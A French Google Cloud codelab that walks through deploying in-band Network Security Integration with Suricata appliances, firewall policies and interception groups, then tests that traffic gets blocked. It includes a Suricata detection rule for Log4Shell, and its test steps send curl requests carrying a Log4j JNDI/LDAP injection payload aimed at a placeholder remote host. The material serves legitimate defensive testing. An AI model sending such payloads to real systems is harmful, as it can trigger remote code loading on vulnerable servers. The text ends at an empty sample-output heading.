Atelier de programmation sur l'intégration de la sécurité réseau en bande (NSI)

1. Introduction

Intégration de la sécurité réseau

L'intégration de la sécurité réseau (NSI) offre une flexibilité permettant d'améliorer la sécurité réseau de vos charges de travail. Vous pouvez utiliser un appliance spécialement conçu par un éditeur de logiciels indépendant (ISV) tiers ou un moteur d'inspection approfondie des paquets (DPI) pour inspecter la charge utile. Pour permettre une intégration fluide avec ces appliances tierces, Google Cloud facilite le déploiement transparent des appliances sans aucune modification du réseau ni du routage.

Google Cloud propose deux types d'intégration de la sécurité réseau : hors bande et dans la bande. Cet atelier vous guidera dans le déploiement de l'intégration de la sécurité réseau intrabande.

Intégration de la sécurité réseau en bande

L'intégration de la sécurité réseau fournit une intégration intrabande à l'aide de la technologie d'interception de paquets, qui vous permet de placer des appliances réseau tierces sur le chemin du trafic réseau pour une inspection transparente des charges de travail Google Cloud. Ce processus utilise l'encapsulation de la virtualisation réseau générique (GENEVE) pour transporter les paquets de manière sécurisée vers l'appliance sans modifier les adresses IP source et de destination d'origine.

L'intégration intrabande offre une approche axée sur les services pour déployer et consommer des appliances réseau inline tierces en mode bump-in-the-wire. En tant que producteur de services, vous pouvez publier un ensemble évolutif d'appliances réseau tierces en tant que déploiement d'interception. En tant que consommateur de services, vous pouvez utiliser les règles et les stratégies Cloud Next Generation Firewall pour sélectionner précisément le trafic à rediriger de manière transparente vers un point de terminaison d'interception local à des fins d'inspection.

61bfbf754e04cf70.png

Figure 1. Architecture de déploiement de haut niveau du service d'intégration dans la bande

Pour en savoir plus sur l'intégration en bande de NSI, consultez la présentation de l'intégration en bande.

Producteur de services intégré

Les producteurs de services sont les emplacements où les appliances tierces sont déployées et gérées. Cette tâche peut être gérée par une personne de votre organisation (équipe de sécurité, etc.) ou par un fournisseur externe. Les producteurs enregistrent leurs machines virtuelles, qui peuvent être des appliances tierces, en tant que backends d'un équilibreur de charge réseau passthrough interne dans leur réseau VPC. Ces appliances inspectent le trafic réseau qui leur est redirigé. Les producteurs de services créent ensuite des déploiements d'interception, une ressource zonale qui pointe vers la règle de transfert de l'équilibreur de charge réseau passthrough interne.

Un déploiement d'interception est une ressource zonale qui représente le service d'inspection du producteur pour une zone spécifique. Les producteurs créent des déploiements d'interception pour chaque zone dans laquelle ils ont déployé leurs VM.

Un groupe de déploiement d'interception est une ressource globale, à l'échelle du projet, qui permet aux clients de se connecter aux services d'inspection d'un producteur. Les producteurs créent un groupe de déploiement d'interception pour regrouper plusieurs déploiements d'interception zonaux. Les producteurs utilisent IAM pour contrôler les consommateurs autorisés à se connecter à leur groupe de déploiement.

Pour en savoir plus, consultez les pages Présentation des groupes de déploiement d'interception et Présentation des déploiements d'interception.

Client de service intégré

Les consommateurs de services utilisent les services d'inspection proposés par les producteurs. Les consommateurs spécifient les VPC qu'ils souhaitent inspecter et le producteur concerné. Pour ce faire, les clients créent un groupe de points de terminaison d'interception, une ressource globale qui représente leur côté de la relation producteur-client, et associent le groupe de points de terminaison d'interception au groupe de déploiement d'interception du producteur.

Pour associer le groupe de points de terminaison d'interception aux VPC à partir desquels ils souhaitent que le trafic soit inspecté, les consommateurs créent une association de groupe de points de terminaison d'interception. Pour sélectionner le trafic à envoyer au producteur pour inspection, les consommateurs créent et utilisent des stratégies de pare-feu réseau. Les consommateurs créent un groupe de profils de sécurité contenant un profil de sécurité qui fait référence à leur groupe de points de terminaison d'interception. Les consommateurs créent ensuite une règle de pare-feu pour rediriger le trafic correspondant à des critères spécifiques vers les appliances du producteur.

Même si le groupe de points de terminaison d'interception(IEG) est une ressource au niveau du projet, l'IEG et l'association IEG ne doivent pas nécessairement se trouver dans le même projet. Une IEG peut être référencée par une association IEG à partir d'autres projets de votre organisation. Il représente le côté consommateur de la relation producteur-consommateur. Les consommateurs créent un groupe de points de terminaison d'interception pour utiliser le service d'inspection d'un producteur. Chaque groupe de points de terminaison d'interception côté consommateur est associé à un seul groupe de déploiement d'interception côté producteur.

Pour en savoir plus, consultez Présentation des groupes de points de terminaison d'interception et des associations.

Les consommateurs doivent créer une règle de stratégie de pare-feu pour rediriger le trafic vers leur groupe de points de terminaison d'interception. Les consommateurs peuvent spécifier les critères de correspondance dans la règle du règlement de pare-feu, ce qui leur permet de définir le trafic à inspecter par les appliances du producteur.

Les consommateurs créent un profil de sécurité d'interception personnalisé pour spécifier le groupe de points de terminaison d'interception à utiliser pour inspecter le trafic.

Les consommateurs créent un groupe de profils de sécurité pour définir un groupe de fonctionnalités d'inspection de sécurité à appliquer à un sous-ensemble spécifique de trafic. Un groupe de profils de sécurité contient un seul profil de sécurité d'interception personnalisé.

Objectifs de l'atelier

ea01a16258c792c1.png

Figure 2. Architecture de déploiement de haut niveau pour cet atelier de programmation

Pour simplifier cet atelier de programmation, vous utiliserez un seul projet et créerez deux réseaux VPC. Vous gérerez également un certain nombre de ressources réseau et de sécurité. Dans cet atelier, vous allez découvrir comment déployer l'intégration de services réseau en bande avec un appliance tiers pour l'insertion transparente de la sécurité.

Les flux à inspecter seront sélectionnés à l'aide des paramètres de correspondance du pare-feu cloud, y compris le quintuplet (adresse IP source, adresse IP de destination, protocole, port source, port de destination). Pour simplifier cet atelier, vous allez inspecter tout le trafic de sortie sur le port TCP 80.

Le producteur autorisera l'entrée à partir de l'adresse IP de la passerelle du sous-réseau VPC du producteur (10.0.0.1/32) pour les paquets UDP avec le port de destination 6081, qui est le port bien connu pour GENEVE.

L'état final de la base de règles de la stratégie de pare-feu réseau ressemblera au tableau ci-dessous :

Règles du réseau de producteurs :

Priorité

Sens

Protocole

Cible

Source

Destination

Port de destination

Action

100

Entrée

Tout

Tout

Vérifications de l'état

Tous

Tout

Autoriser

200

Entrée

Tout

Tout

IAP

Tous

Tout

Autoriser

300

Entrée

UDP

Tout

10.0.0.1/32

Tous

6081

Autoriser

Règles relatives au réseau des consommateurs :

Priorité

Sens

Protocole

Cible

Source

Destination

Port de destination

Action

200

Entrée

TCP

Tout

IAP

Tous

22

Autoriser

800

Sortie

TCP

Tout

Tout

Tous

80

Intercepter

Points abordés

  • Déployer l'intégration de la sécurité réseau en bande

Prérequis

  • Organisation et projet Google Cloud
  • Autorisations IAM appropriées
  • Connaissances sur le déploiement d'instances et la configuration de composants réseau
  • Connaissances sur la configuration du pare-feu de la stratégie réseau

2. Avant de commencer

Rôles et autorisations IAM

Pour suivre l'atelier de programmation sur l'intégration de la sécurité réseau en bande (NSI), vous aurez besoin des rôles IAM suivants :

  • Administrateur de réseaux Compute (roles/compute.networkAdmin) : requis pour créer et gérer les réseaux VPC, les sous-réseaux, les routeurs Cloud Router, les passerelles NAT et les services de backend d'équilibreur de charge.
  • Administrateur de sécurité Compute (roles/compute.securityAdmin) : nécessaire pour créer, configurer et associer des règles et des stratégies de pare-feu réseau mondiales.
  • Administrateur d'instance Compute (roles/compute.instanceAdmin.v1) : requis pour déployer les appliances Suricata et les VM de test des consommateurs, s'y connecter en SSH et, à terme, les supprimer.
  • Administrateur de déploiement d'interception (roles/networksecurity.interceptDeploymentAdmin) : utilisé par le producteur pour créer et gérer les déploiements d'interception zonaux et le groupe de déploiement global.
  • Administrateur de point de terminaison d'interception (roles/networksecurity.interceptEndpointAdmin) : utilisé par le consommateur pour créer des groupes de points de terminaison d'interception et les associer à son réseau VPC.
  • Utilisateur du déploiement d'interception (roles/networksecurity.interceptDeploymentUser) : requis dans le projet producteur pour accorder au consommateur l'autorisation de se connecter au groupe de déploiement du producteur.
  • Administrateur de profils de sécurité (roles/networksecurity.securityProfileAdmin) : requis au niveau de l'organisation pour créer et gérer des profils de sécurité et des groupes de profils de sécurité personnalisés pour les interceptions.
  • Administrateur de l'utilisation des services (roles/serviceusage.serviceUsageAdmin) : nécessaire pour activer les API networksecurity.googleapis.com et compute.googleapis.com requises pour les fonctionnalités NSI.
  • Lecteur de projet (roles/viewer) : nécessaire pour récupérer la configuration du projet et les informations sur l'ascendance de l'organisation pour les variables d'environnement utilisées tout au long de l'atelier.

API Google Cloud

Veuillez vous assurer que les API Google Cloud requises sont activées dans votre projet.

Activez les API nécessaires en exécutant les commandes gcloud suivantes dans Cloud Shell.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

Créer/Mettre à jour des variables

Cet atelier de programmation utilise des $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.

Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets selon vos besoins :

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. Actions du producteur

Cette section porte sur le déploiement du producteur. Cela inclut le déploiement du VPC, du dispositif virtuel de réseau tiers et de tous les composants pertinents pour l'intégration de la sécurité réseau.

Composants VPC et Cloud NAT

  1. Créez le VPC et le sous-réseau :
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. Obtenez l'adresse IP de la passerelle du sous-réseau pour l'utiliser dans une règle de pare-feu :
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. Créez une règle et une stratégie de pare-feu pour le VPC producteur. Ces règles de pare-feu autorisent l'entrée pour les vérifications de l'état, IAP et le trafic provenant de NSI :
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. Associez le VPC du producteur à la stratégie de pare-feu réseau :
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. Déployez Cloud Router et Cloud NAT pour le dispositif virtuel de réseau (NVA, Network Virtual Appliance) tiers afin de télécharger les packages et mises à jour requis :
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

VM tierces

Pour cet atelier, vous allez déployer Suricata, un service de détection des menaces Open Source. La commande comporte un script de démarrage qui installe et configure Suricata. Il existe également des iptables qui effectuent la traduction d'adresse réseau source (SNAT) et la traduction d'adresse réseau de destination (DNAT) pour gérer les paquets GENEVE et y répondre.

  1. Déployez une NVA tierce dans votre première zone.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. Déployez une NVA tierce dans votre deuxième zone :
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

Composants de l'équilibreur de charge du producteur

  1. Créez une vérification d'état générique pour vérifier la disponibilité de votre NVA tierce :
gcloud compute health-checks create http nva-hc
  1. Créez un groupe d'instances non géré zonal pour chaque zone :
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. Ajoutez vos instances à vos groupes d'instances :
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

Validez que vos groupes d'instances contiennent vos instances à l'aide des commandes suivantes :

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

Exemple de résultat :

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. Créez un service de backend UDP interne :
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. Ajoutez les deux groupes d'instances au service de backend :
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. Réservez des adresses IP internes pour vos règles de transfert. Chaque déploiement d'interception nécessite une règle de transfert unique :
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. Créez la règle de transfert pour chaque zone. Cette étape est obligatoire, car le déploiement de l'interception nécessite une règle de transfert unique :
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

Composants de l'intégration de la sécurité réseau

  1. Créez un groupe de déploiement d'interception :
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

Vérifiez que le groupe de déploiement a bien été créé :

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

Exemple de résultat :

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. Créez un déploiement d'interception pour chaque zone :
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Vérifiez que les déploiements d'interception ont bien été créés :

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

Exemple de résultat :

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

Félicitations, vous avez terminé la configuration côté producteur. Vous allez ensuite configurer le côté consommateur pour intercepter le trafic et l'envoyer de manière transparente aux appliances tierces pour l'application.

4. Actions des consommateurs

Bien que ce lab utilise des VPC distincts dans un même projet pour plus de simplicité, dans les environnements réels, les ressources du producteur et du consommateur peuvent résider dans des projets différents, voire dans des organisations différentes.

Composants VPC et Cloud NAT

  1. Créez le VPC et le sous-réseau :
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. Créez le routeur Cloud Router et la passerelle Cloud NAT :
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

Groupe et association de points de terminaison d'interception

  1. Créez un groupe de points de terminaison d'interception :
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Vérification de la création du point de terminaison :

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

Exemple de résultat :

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. Créez une association de groupe de points de terminaison d'interception en spécifiant le VPC du consommateur :
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Valider :

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

Exemple de résultat :

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

Profil de sécurité et groupe de profils de sécurité

Vous allez ensuite créer un profil de sécurité personnalisé pour l'interception et l'associer au groupe de profils de sécurité. Le profil de sécurité et le groupe de profils de sécurité sont utilisés pour l'interception de paquets pour les appliances tierces.

  1. Créez un profil de sécurité personnalisé pour l'interception :
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Vérifiez que le profil de sécurité a bien été créé :

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

Exemple de résultat :

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. Créez un groupe de profils de sécurité :
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

Vérifiez que le groupe de protection de service a bien été créé :

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

Exemple de résultat :

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

Stratégie, règles et association de pare-feu

  1. Créez une stratégie de pare-feu de réseau au niveau mondial :
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. Créez les règles de pare-feu :
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. Créez la règle de pare-feu pour intercepter tout le trafic sortant à l'aide de NSI afin de l'envoyer de manière transparente à notre appliance tierce. Cette règle enverra tout le trafic sortant TCP:80 pour inspection.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. Associez la stratégie de pare-feu cloud au réseau VPC :
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

VM grand public

  1. Déployez les VM utilisées pour valider la NSI. Vous allez déployer trois VM dans trois zones. Rappelez-vous que la fonctionnalité NSI n'est activée que pour deux zones, et non pour $zonec.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

Tester l'intégration de la sécurité réseau en bande

  1. Connectez-vous en SSH à la VM dans $zonea (consumer-$zonea). Envoyez du trafic de test :
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. Envoyez du trafic de test vers http://www.google.com :
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Résultat attendu :

200

Le code d'état HTTP 200 indique que la requête du client a bien été reçue, comprise et traitée par le serveur.

  1. Envoyez des requêtes log4j qui devraient être bloquées par Suricata via NSI.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Résultat attendu :

000

Le code de réponse HTTP 000 est un code non officiel et non standard utilisé par certains logiciels pour indiquer qu'aucun code d'état HTTP valide n'a été reçu. Cela signifie probablement que la requête a été bloquée par le pare-feu.

  1. Revenez à Cloud Shell en quittant la session SSH.
exit
  1. Se connecter en SSH à la VM dans $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. De même, envoyez du trafic de test :
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Résultat attendu :

200
  1. Envoyez une requête log4j :
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Résultat attendu :

000
  1. Revenez à Cloud Shell en quittant la session SSH.
exit
  1. Se connecter en SSH à la VM dans $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. De même, envoyez du trafic de test :
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Résultat attendu :

200
  1. Envoyez une requête log4j :
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Résultat attendu :

200

Notez que cette demande a été traitée. Ce comportement est normal, car vous n'avez pas configuré NSI avec $zonec. Le groupe de points de terminaison d'interception ne comporte que des associations pour $zonea et $zoneb.

  1. Revenez à Cloud Shell en quittant la session SSH.
exit

Valider que Suricata a reçu et bloqué les requêtes malveillantes

  1. Connectez-vous en SSH à la VM Suricata dans $zonea (suricata-$zonea) pour vérifier les journaux :
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. Affichez les journaux en filtrant sur le type d'attaque :
cat /var/log/suricata/eve.json | grep log4j

Il est possible que des entrées s'affichent. Si aucune entrée ne s'affiche, consultez les journaux de la VM Suricata dans $zoneb. Exemple de résultat :

